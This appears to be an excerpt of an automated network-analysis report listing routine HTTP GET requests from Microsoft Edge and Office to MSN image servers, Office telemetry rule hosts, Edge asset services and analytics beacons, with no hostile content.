Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731517712828&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28116A1F6C666513052C7F296D6E64D8&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1ACc15ff3653c780308aae71731517714; XID=1ACc15ff3653c780308aae71731517714
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msMCf.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=28116A1F6C666513052C7F296D6E64D8&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=31c0bd751c9f499dbf9bbb6ee5d0fc2d HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=28116A1F6C666513052C7F296D6E64D8; _EDGE_S=F=1&SID=1DB41BD73271677812FD0EE1333B664C; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731517712827&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=db7b6e0258744201a330fb48c2848d25&activityId=db7b6e0258744201a330fb48c2848d25&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D8E4A8225B6E42EF8B1C08DAA22D784F&MUID=28116A1F6C666513052C7F296D6E64D8 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=28116A1F6C666513052C7F296D6E64D8; _EDGE_S=F=1&SID=1DB41BD73271677812FD0EE1333B664C; _EDGE_V=1; SM=T; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
